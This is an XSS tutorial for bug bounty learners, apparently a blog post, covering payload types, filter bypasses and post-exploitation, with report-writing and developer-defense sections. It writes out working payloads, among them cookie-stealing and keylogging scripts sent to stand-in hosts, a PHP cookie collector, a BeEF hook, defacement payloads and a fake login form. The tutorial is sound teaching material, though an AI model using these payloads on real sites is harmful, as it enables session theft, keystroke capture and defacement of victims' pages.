XSS Attacks: From Basics to Advanced Post-Exploitation (2025 Edition)

Want to master XSS attacks from scratch? This is your complete guide to Cross-Site Scripting (XSS), made for bug bounty hunters and ethical hackers. We will start from basics, explain every type of XSS with real examples, and go all the way to advanced post-exploitation — like cookie stealing, session hijacking, and even defacement (all for educational purposes only). No complicated words, just practical knowledge.
Perfect for students, beginners, and professionals who want to level up their skills in 2025.

1. Introduction

• What is XSS (Cross-Site Scripting)?
• Why XSS is still popular in bug bounty?
• Why You Should Learn XSS Properly?

2. Types of XSS (Explained with Examples)

2.1. Stored XSS

• Meaning
• Example payload
• Where it’s found
• Bug Bounty Tip

2.2. Reflected XSS

• Meaning
• Example payload
• Where it’s found
• Bug Bounty Tip

2.3. DOM-Based XSS

• Meaning
• Example payload
• Where it’s found
• Bug Bounty Tip

2.4. Summary Table for Quick Revision

3. Finding XSS Vulnerabilities

3.1. Manual Testing Techniques

• Using special characters: <>'"(){}
• Using common payloads
• Bypassing filters (simple tricks)

3.2. Automated Testing

• Using XSStrike, Dalfox, KXSS
• Pros and cons of automated testing

4. Bypassing Filters

• Common filters and how to bypass them
• Examples of real-world filter bypasses
• Unicode, URL encoding, Base64 encoding tricks

5. Crafting Advanced XSS Payloads

• Breaking out of attributes
• Breaking out of JavaScript contexts
• Using SVG, iframe, and other tricky elements
• Examples of polyglot payloads
• Bonus Tip: Encode Smartly
• Real Hacker Mindset

6. Exploiting XSS: What Next? (Post-Exploitation)

6.1. Cookie Stealing (Educational Purpose)

• Stealing session cookies
• Setting up a listener using Burp Collaborator or your own webhook

6.2. Session Hijacking

• Explanation of how stolen cookies can be used to impersonate users

6.3. Keylogging using XSS

• Injecting keylogger payloads using external scripts
• Example of real-time keystroke capture (educational)
• Note for Readers

6.4. Defacing Pages using XSS

• How attackers inject <script> or <iframe> to deface web pages
• Top 10 Unique XSS Defacement Payloads (Educational Use Only)
• Why ethical hackers should report such vectors responsibly
• Educational PoC Template

7. XSS in Bug Bounty Reports (How to Write Perfectly)

• Example of a real XSS bug report
• Steps to reproduce
• PoC URL with payload
• Impact explanation (Session hijack? Deface? Phishing?)
• Responsible disclosure practices
• Example of Full Report
• Note for Readers

8. Prevention & Defense (For Developers)

• Proper output encoding
• CSP (Content Security Policy)
• Input sanitization with libraries
• Real-World Developer Checklist for XSS Prevention
• Bonus Tip for Developers

9. Bonus Tips

• Using CSP bypass tricks (advanced)
• Using tools like BeEF (Browser Exploitation Framework)
• Combining with CSRF for chained attacks

10. Conclusion

• Why XSS is a continuous learning topic
• Resources to learn more
• Advice for students
• Disclaimer
• References

🏁 Introduction to XSS (Cross-Site Scripting)

When we start learning bug bounty, one of the first and most exciting vulnerabilities we hear about is XSS, or Cross-Site Scripting. It is one of those bugs that can look very simple but can lead to big impacts if used in the right way. Whether you are a beginner or an experienced hacker, XSS is a vulnerability you must learn.

Let me explain this in the simplest way possible.

What is XSS (Cross-Site Scripting)?

Cross-Site Scripting (XSS) is a type of vulnerability that happens when a website allows a user to input data but does not handle it properly. If that data contains malicious code (mostly JavaScript), and it gets executed in someone else’s browser, that is XSS.

Example: Let’s say there is a website where you can comment on articles. If that website does not check what you are writing and allows you to post something like:

<script>alert('Hacked!')</script>

And then, when someone visits that page, this alert box pops up — this is a basic example of XSS.

Now, imagine instead of showing just an alert, that code steals the visitor’s cookies or redirects them to a phishing site. That is where things get serious.

Simple Definition:

XSS is when an attacker injects malicious scripts into trusted websites, and that code runs in the browser of anyone who visits that page.

It is like writing a secret message on someone’s notebook, but instead of words, you are writing code that does things on their computer.

Why XSS is Still Popular in Bug Bounty?

Now you might ask — “Okay, but why is XSS still important? Everyone knows about it, right?”

Yes, people know about it, but websites are built by humans. And humans make mistakes. Websites are becoming more complex — single-page apps, modern frameworks, third-party scripts — and with complexity comes more chances of security mistakes.

Reasons Why XSS is Still One of the Most Reported Bugs:

1. Developers make mistakes — Many developers forget to properly sanitize or encode input.
2. New features, new bugs — Even big companies push new features fast, and security sometimes gets missed.
3. Filter bypasses evolve — Attackers and ethical hackers find clever ways to bypass filters.
4. Impact can be big — With XSS, you can steal sessions, deface pages, redirect users, and sometimes combine it with other bugs like CSRF.
5. It is everywhere — Forums, blogs, search forms, profile pages, admin panels — anywhere users can input data.

Real Example in Bug Bounty:

Many hackers on platforms like HackerOne and Bugcrowd report reflected or stored XSS even today and get paid $500 to $5000+ depending on the impact. Sometimes, XSS helps hackers chain attacks like stealing admin sessions or hijacking accounts.

Why You Should Learn XSS Properly

• Beginner Friendly — You can find your first bug using XSS.
• Advanced Bypasses Exist — You can challenge yourself by learning filter bypasses and crafting custom payloads.
• Practical — It teaches you how websites work under the hood.
• High Earning Potential — Companies pay well if you can show real impact with an XSS vulnerability.

If you are serious about bug bounty or just want to build your hacking skills, learning XSS is like learning how to ride a bicycle before learning to ride a superbike. It is basic, but it is powerful.

In the next parts of this guide, we will go deep — from the types of XSS to how to find it manually and using tools, how to craft advanced payloads, and even how attackers can misuse it (for educational purposes only).

Remember: XSS is fun, but with great power comes great responsibility. Always use it ethically and only in legal, authorized environments.

Ready to dive deeper?

Let’s go. 🚀

⚔️ 2. Types of XSS (Explained with Examples)

Now that you know what XSS is and why it is important, let’s go one step deeper.

There are three main types of XSS, and each one works differently. If you are learning for bug bounty, you must know all three because companies usually want reports that clearly mention what type of XSS you found.

Let’s break it down, simply.

2.1. Stored XSS

Meaning:

Stored XSS happens when the malicious code you inject gets saved in the website’s database. Every time someone visits that page or feature, the malicious script automatically executes.

This is the most dangerous type of XSS because it can affect all users who visit that page, not just one person.

Think of it like this:

You write a malicious note on a wall → Now, everyone who passes by reads that note and gets affected.

Example Payload:

<script>alert('XSS by MrX')</script>

But hackers do not stop at alert boxes. With a real attack, it could be:

<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

Or even redirecting users:

<script>location='https://attacker.com/phish'</script>

Where It’s Found:

• Comment sections
• User profiles / bios
• Forum posts
• Chat applications
• Product review sections
• Any input that gets displayed later

Bug Bounty Tip:

Stored XSS on admin panels is gold because it can lead to account takeovers or site-wide defacements.

2.2. Reflected XSS

Meaning:

Reflected XSS happens immediately when a crafted URL is sent to the victim. It does not get stored on the website. Instead, the malicious script is reflected back from the server in the response.

It is like shouting something at a mountain and hearing your own voice bounce back — that is reflection.

This is used mostly in phishing attacks where the attacker tricks someone into clicking a malicious link.

Example Payload:

Let’s say a website shows your search query in the response:

https://example.com/search?q=<script>alert(1)</script>

When someone clicks this link, the page loads with an alert box.

Example real-world payload (encoded for safety):

https://example.com/search?q=%3Cscript%3Ealert('Hacked')%3C%2Fscript%3E

Where It’s Found:

• URL query parameters (?q=, ?search=, etc.)
• Error messages
• Redirect URLs
• 404 pages that show the URL in response

Bug Bounty Tip:

Test all parameters in GET and POST requests. Even hidden fields can reflect your input.

2.3. DOM-Based XSS

Meaning:

DOM XSS is different. It happens inside the user’s browser through JavaScript manipulation of the DOM (Document Object Model). Here, the server may not be involved at all.

In simple words: The website has a JavaScript function that uses your input directly in its code. If it is not handled properly, attackers can inject code on the client side.

Example Payload:

Let’s say you see a link like this:

https://example.com/page#name=<script>alert('DOM XSS')</script>

If the site’s JavaScript does something like:

document.write(location.hash);

Boom — that script runs in the victim’s browser.

Where It’s Found:

• Single Page Applications (SPAs)
• Sites that use JavaScript heavily
• URL fragments (#hash)
• Client-side frameworks (React, Angular, Vue) if poorly coded

Bug Bounty Tip:

Use browser developer tools and tools like DOM Invader (Burp Suite extension) to find these.

Summary Table for Quick Revision:

🔍 3. Finding XSS Vulnerabilities

Alright — now that you know what XSS is and how it works, the next big question is:

How do you actually find XSS in real websites?

Good news — you do not always need big tools or crazy setups. Many times, just knowing how to break input fields is enough.

Let’s break this into two parts:

1. Manual Testing (Old-school, pro-level)
2. Automated Testing (Tools doing some of the work for you)

Let’s dive deep 👇

3.1. Manual Testing Techniques

If you want to become really good at finding XSS, manual testing is your best friend. Why? Because tools miss creative payloads, but you — the human hacker — can think smarter.

Using Special Characters

Start with testing special characters in any input field you can find:

< > ' " ( ) { }

Example:

<input name="search" value="TEST">

Try:

" onmouseover=alert('XSS') 

or

<script>alert(123)</script>

Why these work: If the site is not handling your input properly, your script executes.

Places to test:

• Search bars
• Feedback forms
• Contact us pages
• Login fields (you never know)
• Hidden fields in forms
• URL parameters
• HTTP headers (User-Agent, Referer)

Using Common Payloads

Here are some famous payloads to use while testing:

"><script>alert('XSS')</script>

'><img src=x onerror=alert('XSS')>

<svg/onload=alert('XSS')>

"><svg/onload=confirm(1)>

Tip:

Try breaking out of HTML tags like this:

<a href="test">CLICK</a>

→ Inject payload to break the tag and execute:

"><script>alert('XSS')</script>

Bypassing Filters (Simple Tricks)

Websites often try to block <script> or alert() but you can bypass with:

Try breaking attribute values:

" autofocus onfocus=alert(1) a="

Bonus Manual Tip:

Do not forget to test in POST requests too, using Burp Suite. Many inputs do not show in URLs but are still vulnerable.

3.2. Automated Testing

If you want to save time or test multiple inputs, you can use automated tools. These tools send hundreds of payloads quickly.

Tools You Can Use:

Example usage (Dalfox):

dalfox url https://example.com/search?q=test

Or using XSStrike:

python3 xsstrike.py -u "https://example.com/search?q=test"

Pros of Automated Testing:

• Fast — saves your time
• Finds obvious vulnerabilities quickly
• Useful on large targets or bug bounty programs

Cons of Automated Testing:

• Might miss tricky XSS payloads
• Too many false positives sometimes
• Manual verification always required before reporting

Final Tip:

💡 My style: I always start with manual testing first → use automation for wide coverage → verify manually again → profit. 🚀

Manual + Tool = Best Combo.

🧠 4. Bypassing Filters in XSS

Okay, now imagine this…

You find an XSS input, but the website filters your payload.

No <script>
No alert()
No quotes (" ')
No <img>

Frustrating, right?

But smart hackers do not stop. Bypassing filters is where skill beats tools. Let me now show you how to bypass XSS filters like a real pro.

Common Filters You Will See

Most websites will block or sanitize:

So… what do we do? We bypass.

How to Bypass Common Filters

Here are proven techniques hackers use every day:

1️⃣ Using Capital Letters or Case Mixing

<ScRiPt>alert(1)</ScRiPt>

→ Some filters are case-sensitive and will miss this.

2️⃣ Using HTML Event Handlers

Even if <script> is blocked, try:

<img src=x onerror=alert(1)>

or

<body onload=alert(1)>

3️⃣ Unicode/UTF-8 Encoding Tricks

Sometimes, using weird Unicode characters breaks filters but browsers still execute your code:

<scr<script>ipt>alert(1)</script>

or try

<scrıpt>alert(1)</scrıpt>

(ı is Unicode dotless i)

4️⃣ URL Encoding

If special characters like < > are blocked, encode them:

%3Cscript%3Ealert(1)%3C/script%3E

→ Browser decodes and executes it.

5️⃣ Using SVG Tags

Even if <script> or <img> are blocked, SVGs work:

<svg/onload=alert(1)>

6️⃣ Breaking Attributes

When injecting into attributes, try to break out like:

" autofocus onfocus=alert(1) a="

Examples of Real-World Filter Bypasses

Let’s see some actual bypasses used by real hackers:

Advanced Trick: Base64 Encoding

If you can inject JavaScript URLs or data attributes:

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">CLICK</a>

→ The above is base64 of <script>alert(1)</script>

My Favorite Filter Bypass Combo (For Real)

Payload:

"><svg/onload=confirm(1)>

Why? → Works in many places → breaks attributes → uses SVG → confirm() looks innocent to filters.

Golden Tip:

Always test on multiple browsers:

• Chrome
• Firefox
• Safari

Some bypasses work only on specific browsers.

Note for My Readers:

This is for educational purposes only. Never misuse these skills. Use this knowledge to:

• Help secure websites
• Find vulnerabilities ethically
• Report and get rewarded (bug bounty 💰)

🎯 5. Crafting Advanced XSS Payloads

Now that you know how to find and bypass filters, it’s time to level up: crafting advanced XSS payloads. This is where beginner hunters struggle — but if you learn this, you’re already ahead of most.

Let’s go step-by-step like a real hacker. 🧠💻

Breaking Out of Attributes

Many XSS bugs live inside HTML attributes like this:

<input value="YOUR_INPUT_HERE">

So if you inject just alert(1) — nothing happens.

You have to break out of the attribute first, like this:

" autofocus onfocus=alert(1) a="

This breaks the attribute and adds your own event.

➡️ Another working example:

" onmouseover=confirm(1) x="

👉 Tip: Test inside href, src, value, title attributes.

Breaking Out of JavaScript Contexts

Sometimes, your input is inserted directly into JS code, like:

<script>
var name = "USER_INPUT_HERE";
</script>

If you insert ";alert(1);// → the script becomes:

var name = "";alert(1);//";

✅ It closes the string, adds your payload, and comments the rest.

Some variations:

Using SVG, iframe, and Other Tricky Elements

If normal tags are blocked, use less common tags like:

SVG

<svg/onload=alert(1)>

iframe

<iframe src="javascript:alert(1)"></iframe>

body tag

<body onload=prompt(1)>

math tag (super rare bypass)

<math><mtext><title>--><script>alert(1)</script>

These tags often bypass weak filters.

Examples of Polyglot Payloads

Polyglot = One payload that works in multiple contexts

Here are some of my favourite ones:

1. Simple Polyglot

"><svg/onload=alert(1)>

Works in:

• HTML
• Inside attributes
• With weak sanitization

2. JS Context Polyglot

';alert`1`//

✅ Bypasses single quote strings, uses template literal

3. Complex Polyglot

"><script>alert(String.fromCharCode(88,83,83))</script>

→ Evades basic keyword filters using char codes

4. SVG + JS Polyglot

<svg><script/xlink:href="data:," onload=confirm(1)>

→ Uses SVG trick + onload + JavaScript URI

Bonus Tip: Encode Smartly

When you are stuck:

• Use URL encode for < > " '
• Use HTML entities like <, >
• Use Unicode to sneak past blacklists
• Use Base64 in data: URIs

Real Hacker Mindset

Advanced XSS payload crafting is less about copying payloads, more about:

• Understanding the context (HTML, attribute, JS)
• Breaking out cleanly
• Executing JS with what’s allowed

Always test in:

• Chrome
• Firefox
• Burp Repeater
• Raw HTML files

📦 6. Exploiting XSS: What Next? (Post-Exploitation)

So you have successfully found an XSS, now what?

Here’s where real hacking knowledge starts. Let’s go deep into post-exploitation — how real attackers can misuse it. We are doing this only for learning and reporting purposes.

✅ Testing Environment Used:
DVWA XSS Reflected Lab
http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=

6.1. Cookie Stealing (Educational Purpose)

Cookies store login sessions. If an attacker can steal cookies, they can try to log in as the victim.

Example Payload to Test:

"><script>new Image().src='https://your-server.com/?cookie='+document.cookie</script>

✅ Testing Example with your DVWA:

http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=%22%3E%3Cscript%3Enew%20Image%28%29.src%3D%27https%3A%2F%2Fyour-server.com%2F%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Setting Up Listener

• Burp Collaborator (Pro)
• Webhook.site → Easy for beginners
• PHP Server (Example):

<?php file_put_contents('cookies.txt', $_GET['cookie']."\n", FILE_APPEND); ?>

Whenever this URL runs → Cookie gets sent to you.

6.2. Session Hijacking

Now that you have a cookie — what next?

If the cookie stores session info, attacker can:

1️⃣ Open browser console → paste:

document.cookie = "PHPSESSID=stolen-session-value"

2️⃣ Refresh page → Login as victim.

✅ Note: HttpOnly cookies can’t be stolen with XSS.

Example Flow on DVWA:

1️⃣ Run payload
2️⃣ Capture cookie
3️⃣ Use cookie to hijack session (if not HttpOnly)

Again: Report → Don’t misuse.

6.3. Keylogging using XSS

What about capturing keystrokes in real-time?

Here’s a beginner-friendly payload:

"><script>document.onkeypress = e => fetch('https://your-server.com/?key='+e.key)</script>

✅ Testing with DVWA:

http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=%22%3E%3Cscript%3Edocument.onkeypress%20%3D%20e%20%3D%3E%20fetch%28%27https%3A%2F%2Fyour-server.com%2F%3Fkey%3D%27%2Be.key%29%3C%2Fscript%3E

Every key you type → Gets logged on your server.

Advanced: Real-time Keylogger Setup

For next level → Use WebSocket + Express/Socket.io → display in real-time in terminal or dashboard.

📌 Note for Readers:
This is just an example of how a bug bounty report can look like.

➡️ Every platform, program, and company has their own reporting style.
➡️ Bug bounty platforms like HackerOne, Bugcrowd, Intigriti, etc., also have their own templates.
➡️ To see how real bug bounty reports are written, you should check the Disclosed Reports section on HackerOne or browse public write-ups on GitHub, Medium, or blogs by top bug bounty hunters.

✅ Learning from real reports = Better reports, more respect, more rewards.

🗒️ Pro Tip: Always write your report in a way that even a non-technical person can understand the issue, the impact, and the fix.

Write to educate, not just to impress. 📢

6.4. Defacing Pages using XSS

Wanna see your XSS visually?
Attackers often deface websites just to show off.

✅ Example Payload (Defacement):

"><script>document.body.innerHTML='<h1 style=color:red>HACKED BY [YourName]</h1>'</script>

✅ Testing with DVWA:

http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=%22%3E%3Cscript%3Edocument.body.innerHTML%3D%27%3Ch1%20style%3Dcolor%3Ared%3EHACKED%20BY%20[YourName]%3C%2Fh1%3E%27%3C%2Fscript%3E

Another trick → Inject full-page iframe:

"><iframe src='https://evil-site.com' style='position:fixed;top:0;left:0;width:100%;height:100%'></iframe>

Top 10 Unique XSS Defacement Payloads (Educational Use Only)

1️⃣ Classic Deface with Style

"><script>document.body.innerHTML='<h1 style="color:red;font-size:50px;text-align:center;">Hacked by CyberX Society 😈</h1>';document.body.style.background="black";</script>

2️⃣ YouTube Video Embed Deface

"><iframe width="100%" height="100%" src="https://www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1" frameborder="0" allowfullscreen></iframe>

(Full screen Rickroll, fullscreen deface with a meme or personal branding video.)

3️⃣ Rainbow Scrolling Text

"><marquee scrollamount=20 style='color:lime;font-size:35px;background:black;'>💀 Defaced by YourName 💀</marquee>

4️⃣ Moving GIF + Sound Combo Deface

"><audio autoplay src='https://www.soundhelix.com/examples/mp3/SoundHelix-Song-1.mp3'></audio><img src='https://media.giphy.com/media/JIX9t2j0ZTN9S/giphy.gif' style='width:100%;height:100%;position:fixed;top:0;left:0;z-index:999;'>

5️⃣ Full Page Color Blink with Insult

"><script>setInterval(()=>{document.body.style.backgroundColor = '#'+(Math.random()*0xFFFFFF<<0).toString(16)},100);alert("Security Level = ZERO");</script>

6️⃣ ASCII Art Deface (Hacker Style Terminal Look)

"><pre style='color:lime;font-size:18px;background:black;'> 
 ______     ______     __     ______
/\  ___\   /\  __ \   /\ \   /\  == \
\ \ \__ \  \ \ \/\ \  \ \ \  \ \  __<
 \ \_____\  \ \_____\  \ \_\  \ \_\ \_\
  \/_____/   \/_____/   \/_/   \/_/ /_/ 

  Hacked by CyberX Society!
</pre>

7️⃣ 3D Rotating Deface Text

"><style>@keyframes spin{from{transform:rotateY(0)}to{transform:rotateY(360deg)}}h1{animation:spin 4s infinite linear;transform-style:preserve-3d;color:red;text-align:center;}</style><h1>💀 Hacked 💀</h1>

8️⃣ Full Black Screen Terminal Fake

"><body style='background:black;color:lime;font-family:monospace;'><h2>root@target:~$ System compromised by CyberX</h2><h3>Downloading all data...</h3></body>

9️⃣ Matrix Effect Defacement

"><canvas id='c'></canvas><script>var c=document.getElementById("c"),ctx=c.getContext("2d");c.height=window.innerHeight;c.width=window.innerWidth;var letters="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split(""),fontSize=10,columns=c.width/fontSize,drops=[];for(var x=0;x<columns;x++)drops[x]=1;function draw(){ctx.fillStyle="rgba(0,0,0,0.05)";ctx.fillRect(0,0,c.width,c.height);ctx.fillStyle="#0F0";ctx.font=fontSize+"px arial";for(var i=0;i<drops.length;i++){var text=letters[Math.floor(Math.random()*letters.length)];ctx.fillText(text,i*fontSize,drops[i]*fontSize);if(drops[i]*fontSize>c.height&&Math.random()>0.975)drops[i]=0;drops[i]++;} }setInterval(draw,33);</script>

🔟 Fake Login Form Deface (Educational Purpose Only!)

"><form style='background:black;padding:50px;color:white;'><h2>🔒 Security Update Required</h2><input type='text' placeholder='Username'><br><input type='password' placeholder='Password'><br><button>Submit</button></form>

(Perfect to show phishing risks with XSS — always disclose this ethically.)

⚠️ Disclaimer:
These payloads are for educational purposes only. Use them only on legal testing platforms like DVWA, your own labs, or authorized bug bounty programs. Hacking without permission is illegal. Always practice responsible disclosure.

💬 Try these payloads and tell us which one you liked the most in our community:
👉 https://t.me/CyberXsocietyChat

Why Ethical Hackers Should Report, Not Exploit

• 🏆 Bug bounty programs reward helpful hackers.
• ⚖️ Defacing = illegal.
• 🔐 Be the person who fixes problems, not creates them.

Educational PoC Template

• URL tested: http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=
• Payload used: <script>fetch("https://your.site/cookie?c="+document.cookie)</script>
• Impact: Cookie theft → Possible session hijacking
• Fix Suggestion: Input sanitization + Output encoding

✅ Example Report Line:

The reflected XSS vulnerability in the name parameter allows attackers to steal session cookies or inject malicious JavaScript. Demonstrated using DVWA on localhost.

🕸️ 7. XSS in Bug Bounty Reports (How to Write Perfectly)

Found an XSS? Do not just celebrate yet. The real power is how you present your report. That’s where you get paid.
A bad report = rejected. A good report = accepted + paid.

I will teach you exactly how pro bug bounty hunters write reports.

Example of a Real XSS Bug Report

Report Title:

Reflected XSS in name parameter leads to JavaScript execution

Steps to Reproduce (Simple + Clear)

1️⃣ Go to:
http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=

2️⃣ Inject the payload:

"><script>alert('XSS')</script>

3️⃣ Hit Enter → Alert box appears.

PoC URL (Proof of Concept):

http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

Impact Explanation

• An attacker can inject malicious JavaScript.
• Possible session hijacking by stealing cookies:

"><script>fetch('https://your.site/cookie?c='+document.cookie)</script>

• Can perform defacement:

"><script>document.body.innerHTML='<h1>HACKED</h1>'</script>

• Potential for phishing using fake login forms.

Responsible Disclosure Practices

Always:

• Report to official bug bounty program or security contact.
• Never exploit for personal gain.
• Provide fix recommendations like input sanitization & output encoding.

Example of Full Report:

Title: Reflected XSS in name Parameter

Description:
A reflected XSS vulnerability exists in the name parameter of the DVWA XSS Reflected page, which allows JavaScript execution in the victim’s browser.

Steps to Reproduce:

1. Open: http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=
2. Use this payload: "><script>alert(1)</script>
3. Alert will pop up, confirming XSS.

PoC URL:

http://192.168.74.128/dvwa/vulnerabilities/xss_r/?name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Impact:

• Account hijacking (cookie theft possible)
• Defacement
• Potential phishing attacks

Recommended Fix:

• Proper output encoding
• Use security libraries like DOMPurify for JavaScript outputs.

Severity: Medium / High depending on context

📌 Note for Readers:
This is just an example of how a bug bounty report can look like.

➡️ Every platform, program, and company has their own reporting style.
➡️ Bug bounty platforms like HackerOne, Bugcrowd, Intigriti, etc., also have their own templates.
➡️ To see how real bug bounty reports are written, you should check the Disclosed Reports section on HackerOne or browse public write-ups on GitHub, Medium, or blogs by top bug bounty hunters.

✅ Learning from real reports = Better reports, more respect, more rewards.

🗒️ Pro Tip: Always write your report in a way that even a non-technical person can understand the issue, the impact, and the fix.

Write to educate, not just to impress. 📢

🛡️ 8. Prevention & Defense (For Developers)

If you are a bug bounty hunter, you need to understand how developers should fix XSS.

Why?

👉 To help them with responsible disclosure.
👉 To protect your own websites.
👉 To become a next-level hacker.

So here is the clean, real-world guide to prevent XSS.

Proper Output Encoding

Biggest Mistake Developers Make:
They validate inputs but forget to encode outputs.

Example (❌ BAD):

Welcome, <?php echo $_GET['name']; ?>

If someone inputs:

<script>alert('XSS')</script>

➡️ Script runs. Boom!

Fix it (✅ GOOD):

Welcome, <?php echo htmlspecialchars($_GET['name']); ?>

➡️ Converts < to <, > to >.
➡️ No more script execution.

Tools for Output Encoding:

• PHP: htmlspecialchars()
• JavaScript (React, Angular): auto escapes by default
• Python (Django, Flask): |e in templates

CSP (Content Security Policy)

What is CSP?
➡️ It’s like a bodyguard for your website.

It tells the browser:

“Only allow scripts from these sources. Block everything else.”

Example CSP Header:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com;

With CSP:

• Even if XSS happens → the malicious script gets blocked.
• Stops attackers from loading external evil JS.

Pro Tip ⚡ → Test CSP with https://csp-evaluator.withgoogle.com/

Input Sanitization with Libraries

Input sanitization removes dangerous parts before using the data.

⚙️ Use Libraries.

Example (Node.js):

const DOMPurify = require('dompurify');
const clean = DOMPurify.sanitize(userInput);

➡️ Removes <script>, <iframe>, and suspicious content.

Real-World Developer Checklist for XSS Prevention

✔️ Validate input (length, format, whitelist)
✔️ Encode output (especially in HTML, JS, and attributes)
✔️ Set CSP headers
✔️ Use security libraries for extra safety
✔️ Escape data properly in JavaScript contexts

Bonus Tip for Developers:

• Never trust user input → even if it is from “admin” panels.
• Do security reviews during code development.
• Hire security professionals for pentesting.

👨‍💻 Final Thought:

“You prevent XSS not by luck, but by writing smart code + using security headers + having a mindset of a hacker while coding.”

🎁 9. Bonus Tips

Now that you have learned about XSS from the basics to advanced, let us go deeper into the pro-level stuff.

This part is optional, but if you want to go from script kiddie to elite — read carefully.

Using CSP Bypass Tricks (Advanced)

What is CSP Bypass?
Sometimes websites use weak or misconfigured CSP. As an advanced ethical hacker, you can test for:

• unsafe-inline in CSP → allows inline <script> execution.
• Poor script-src → allows third-party JavaScript.

Example Weak CSP:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com; object-src 'none';

If the trusted CDN has XSS-able files or JSONP endpoints → You can chain it for an exploit.

Real-World Example:
Some sites allow https://ajax.googleapis.com, and attackers use JSONP endpoints on such CDNs to execute malicious JS.

➡️ Learn more: Search for “CSP bypass techniques GitHub” or PortSwigger CSP labs.

Remember — educational use only. Always report responsibly.

Using Tools like BeEF (Browser Exploitation Framework)

What is BeEF?
➡️ BeEF = Browser Exploitation Framework.
➡️ It is a professional tool to demonstrate post-XSS attacks.

With BeEF, you can:

• Hook a victim’s browser using an XSS payload.
• Control the victim’s browser remotely.
• Launch real-time actions like:
  • Pop-up phishing windows.
  • Collect local network info.
  • Clickjacking demos.
  • Port scanning from the victim’s machine.

Example Payload to Hook Browser (Educational Purpose Only):

<script src="http://your-beef-server.com/hook.js"></script>

➡️ After the victim visits the page → their browser gets “hooked” → you get a control panel.

🖥️ Want to try? → Install BeEF on Kali Linux → Practice on DVWA or BWAPP only. NEVER on real targets without permission.

Combining with CSRF for Chained Attacks

Why combine XSS with CSRF?
➡️ Sometimes, XSS by itself gives limited access.
➡️ But if you combine XSS + CSRF, you can do powerful attacks like:

• Change victim’s email/password silently.
• Trigger fund transfers on vulnerable banking sites.
• Force admin actions without their consent.

Example Flow:

1️⃣ Find XSS →
2️⃣ Use XSS to auto-submit CSRF payloads →
3️⃣ Result → Sensitive changes done on behalf of the victim.

Example PoC (Educational Purpose Only):

<img src="http://bank.com/change-email?newemail=attacker@example.com" />

If the site lacks CSRF protection → attack works.

Pro Tip ⚡ → Always test with Burp Suite’s CSRF PoC Generator.

Final Reminder:

• These are advanced attacks.
• Always practice on legal platforms only: DVWA, BWAPP, PortSwigger labs, Hack The Box, TryHackMe, etc.
• If you find this in real bug bounty → write professional, clear, responsible reports.

🏁 10. Conclusion

By now, you have seen how powerful XSS attacks can be. From small alert popups to full account takeovers — everything starts with a simple input field.

But here is the thing:

XSS is not just one topic you can learn and forget.
➡️ New filters come.
➡️ New bypasses are discovered.
➡️ New exploitation methods appear.

That is why learning XSS is continuous. You grow with it.

Resources to Learn More

To stay ahead and grow your knowledge, here are some must-follow resources:

✅ OWASP XSS Cheat Sheet
✅ PortSwigger Web Security Academy (XSS Labs)
✅ PayloadsAllTheThings XSS Collection (GitHub)
✅ Read disclosed hackerOne reports

➡️ And for practicing:

• DVWA
• bWAPP
• XSS Game (Google)
• Hack The Box | TryHackMe

Advice for Students

💬 “With great power comes great responsibility.”

If you find XSS on a real website:

1️⃣ Write a professional report.
2️⃣ Do not misuse it.
3️⃣ Follow responsible disclosure.

Black hat hacking ruins lives. White hat hacking builds careers.
Choose wisely. Grow ethically.

And remember → Even 1 hour of learning every day can make you unstoppable in cybersecurity.

Let us hack for good. 🚀

End of the XSS guide. On to the next bug bounty weapon. 🛡️

⚠️ Disclaimer:

📢 Educational Purpose Only
This entire post is written only for educational and awareness purposes. The goal is to help students, ethical hackers, and cybersecurity learners understand web application security better. We strictly discourage any kind of unauthorized hacking, website defacement, or illegal activity.

We believe in ethical hacking and responsible disclosure to help make the internet a safer place.

👉 Practice only on your own systems, legal platforms, or bug bounty programs.
👉 Respect privacy. Respect the law. Grow your skills the right way.

Stay safe. Stay ethical.
Join our learning community → https://t.me/CyberXsociety

References

• Complete Guide to Amass Tool (2025 Edition): From Beginner to Pro in Bug Bounty Recon
• How to Find IDOR Vulnerabilities in Real-World Sites (2025 Guide for Indian Bug Bounty Hunters)
• From Recon to Report: Complete Bug Bounty Workflow for 2025 (With Tools, Commands, and Tips)
• Bug Bounty Roadmap 2025: The Only Roadmap You’ll Ever Need
• Top Bug Bounty Tools Every Ethical Hacker Should Know in 2025